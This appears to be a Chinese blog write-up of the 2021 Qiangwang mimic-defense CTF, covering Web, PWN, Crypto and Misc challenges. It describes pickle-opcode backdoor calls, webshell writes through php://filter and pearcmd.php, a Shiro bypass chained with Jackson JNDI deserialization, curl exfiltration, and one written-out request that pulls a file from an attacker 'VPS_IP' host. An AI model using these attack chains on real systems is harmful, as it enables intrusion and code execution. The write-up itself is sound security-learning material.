2021第四届“强网”拟态防御国际精英挑战赛 Writeup
2021-10-25
| 2024-2-3
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
又和几个“社会”人士一起组队参加了这次比赛
这次 Web 和队友一起 AK了,开心 23333
(想起来以前一个题都做不出来的画面…
部分题目下载链接:

Web

0x1 zerocalc

把能下的都下下来,特别是 package.json,一开始忘了下了晕,然后 snyk 一下扫出两个,感觉是
https://snyk.io/vuln/SNYK-JS-NOTEVIL-608878
因为本地调试直接用safeEval可以利用到nodejs的Function对象,
不过加了题目的safeEval就是跑到就被拦截
不知咋绕过
后面不知被哪位大佬改了 flag 位置,就直接捡漏了,
notion image

0x2 ezPickle

查看题目源码发现是pickle反序列化的白名单+黑名单机制,并会动态加载其他模块
也就是说,只要引入到模块是 config,且不访问模块内置变量即可绕过pickle反序列化限制
config.py 中存在任意代码执行,只要想办法把 notadmin = {“admin”: “no”} 字典值篡改即可
通过编写OPCODE,在 backdoor 执行前修改 config 命名空间的 notadmin 字典值,这里可以借助工具在OPCODE中修改字典的值
notion image
绕过 admin 限制后,通过 OPCODE调用后门
相应指令解释,其中 . 表示结束
  • c:把一个全局对象压入栈
  • (:向栈中压入一个MARK标记
  • S:实例化一个字符串对象
  • t:寻找栈中的第一个MARK,并组合其至栈顶的数据为元组
  • R:选择离栈顶的最近的第一个对象作为参数(必须为元组)、第二个对象作为函数,然后调用该函数
POC
把输出的base64字符串拼接到目标机器GET请求name字段即可,因为无回显,所以外带
notion image

0x3 EasyFilter

题目源码
读文件可控的就只有 php://filter/resource=$file ,之前刷过相关的题目,印象中 resource= 后是不能加过滤器的,然后队友解出来了,问他他说:发现文件名被识别成过滤器了
notion image
这样就好办了,写入 base64 编码过的一句话,通过base64解码过滤器读就行
POC
写入
notion image
读取
notion image

0x4 Jack-Shiro

 
这题主要是队友解,一开始我都没想到原来我刷过,然后刷过,又刚好有公网服务器,又刚好服务器上有 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,就做个帮忙拿flag工具人,这里复盘一下,两个题目的差别,以及自己去做的话,思路会怎样吧,然后和队里大佬的差异。有兴趣可以到buu去复现2021红明谷JavaWeb
 
和2021红明谷 JavaWeb 基本一致,但不同的是,这里没有提示 /login 目录,红明谷是有的
不过题目名字有提示,是Shiro,队里大佬说Shiro的默认登陆路径就是这个,直接访问 /login 没啥反应,就返回一个 /json
notion image
二话不说,先随便 POST 点JSON数据上去。
notion image
POST /json 返回302跳转
notion image
记起shiro有个未授权漏洞,有几种绕过姿势,最终锁定CVE-2020-11989
notion image
在结合题目名字,Jack -> Jackson,这里和红明谷也不一样,原题报错是下图这样的,即 xxx.jackson.databind.xxx
notion image
然后就很容易联想到去网上搜 jackjson databind 漏洞
notion image
除去一些漏洞通告,第一个漏洞分析就是了
文中最后完整的 payload 是
根据这个 payload 试试反序列化
notion image
报错,提示这个 com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource 类找不到
尝试依次删除类前缀,下面这个就可以
notion image
可以成功返回数据,那应该是这种利用方式了,但为啥要删除类前缀就不是很清楚,估计题目中把这个包名给换了。
队里大佬说各种找payload,随便找一个就能用了,不像我复现红明谷的时候还有个小坑
然后上 JNDI 利用工具 (
关于原理,除了可以参考刚刚安全客的文章,还可以看这篇
即利⽤LDAP Server返回序列化数据触发反序列化。
这里因服务端 jdk 版本过⾼,⽆法加载远程class,所以用 LDAP
在公网服务器上
notion image
注意,题目描述是有个压缩包,里面放着 pom.xml 的,里面有些是用Spring开发和版本之类的,然后红明谷就没有,只有未授权访问成功在网页的icon上有一片绿色的叶子,提示这是 Spring… 像下图这样
notion image
所以我们运行 JNDI,一定要选JDK(写着 SpringBoot 1.2.x+)的,就可以了
然后发现不知为啥Shell反弹不回来,不过没事,既然我们服务端能接收请求,那服务肯定是出网的,尝试通过 curl 外带
notion image
从结果而言就题目考点就 Shiro + Jackson 反序列化,但一条龙下来,还是容易踩坑的,2333

0x5 new_hospital

对于完全黑盒的题目,第一步肯定是信息收集,先目录爆破,爆破出来的很多,但实际有用的就3个(从做出来的结果而言,一开始分析的还挺头疼的)
访问 /flag.php 返回 hacker? 在 feature.php 发现个文件读取,不过被拼接 .js 文件后缀
notion image
尝试远程读取进来,可以通过URL特性截断 .js ,但写入为JS代码了,无法解析为PHP代码 http://123.60.75.243:32766/feature.php?&id=http://VPS_IP/in.php%3F%2500
notion image
notion image
仔细看,发现通过这个文件读取接口会返回一个Cookie
notion image
解码发现是刚刚提交的目录,注意文件后缀已经拼接了 .js(待会用到)
notion image
后面翻目录爆破出来的,访问 /old/feature.php
notion image
发现竟然和我刚刚访问在 /feature.php 提交的一样,开始寻思这是缓存?
是不是 file_get_content + file_put_content 呢?尝试 php filter 过滤器差异化写入无果,突然想到刚刚的Cookie,难道/old是通过Cookie里的目录设置的文件包含的内容?这样刚好可以直接无视 .js 后缀,然后结合目录爆破出来的 flag.php 是不是就能读到什么…
验证一下
notion image

0x6 Give_me_your_0day

install.php 608 行有个文件包含
查到可以用 /usr/local/lib/php/pearcmd.php 利用
很多目录都没有写权限,但是发现/tmp目录可以写
写木马
notion image
读flag
notion image

PWN

0x1 sonic

ida查看gets函数存在栈溢出,将输入的登录名溢出到RSP 通过ida查看不用登录的地址偏移在0x73a
notion image
通过python直接获取远程服务器main地址为0x00005555555547cf
notion image
用patternLocOffset.py计算得到偏移量为40
notion image
notion image
notion image

CRYPTO

0x1 拟态签到题

解压压缩包,flag.txt base64解码得到 flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

MISC

每个题都只做了前面一点,后面不太会,@LI 大佬NB~

0x1 WeirdPhoto

一开始1.png 不知道是啥…,突然发现win下是可以打开看的,经典的高度或者宽度被修改了,通过png crc计算出图片原来的宽高
notion image
输入右边的英文 TIEWOFTHSAEOUIITNRBCOSHSTSAN 密码不对
解出压缩包密码:THISISTHEANSWERTOOBSFUCATION
notion image
里面一堆图片,但直接把 out 丢进16进制编辑器可以看到一堆 obj,所以猜 是个PDF,修复一下文件头
notion image
搜一下 PDF 隐写,发现很多都是用的 wbStego4,下个wbStego4,默认选项解密,然后保存输出为txt,就能得到flag
notion image

0x2 bar

官方提示:
  1. 观察得到字符串在code93在线网站生成的条形码停止字符的前两位字符
  1. flag内容都是小写英文字母
根据题目名称,得知是一个条形码,然后把 GIF每一帧拼接一下即可,网上找个脚本魔改了一下
https://blog.csdn.net/Cony_14/article/details/102730294
这条形码怪怪的感觉
notion image
然后发现参考资料:
notion image
START是111141,用PS自动生成参考线,把每9位都写出来。可以看到,前面虽然存在一些不是黑白的颜色,但是发现后面也有START标志,不会被前面影响。
notion image
前面30个字符就可以整理出来了,是:F0C62DB973684DBDA896F9C5F6D962
还差两个字符,提示是停止符号的前两个,也就是上面那个check digit
这里可以直接生成一个新的条形码,然后得到两个检查位
notion image
对照表格,分别是Wspace
notion image
组合起来就是,F0C62DB973684DBDA896F9C5F6D962W[space]
整理卡了半天。。。后面跑去问是不是题目错了。。
得到的答复是
小写生成的条码是没有w和空格的
条形码解出来的不是全大写的嘛,标准就是呀
也就是说不是用 F0C62DB973684DBDA896F9C5F6D962 去生成条形码,而是用小写 f0c62db973684dbda896f9c5f6d962 去生成
notion image
算了一下发现两个检查位分别是 221121(U) 和 111222(M)
最终flag flag{f0c62db973684dbda896f9c5f6d962um}
 
  • CTF/AK
  • CTF比赛
  • MISC
  • Writeup
  • 告别20212021羊城杯部分 Writeup
    • GitTalk
    目录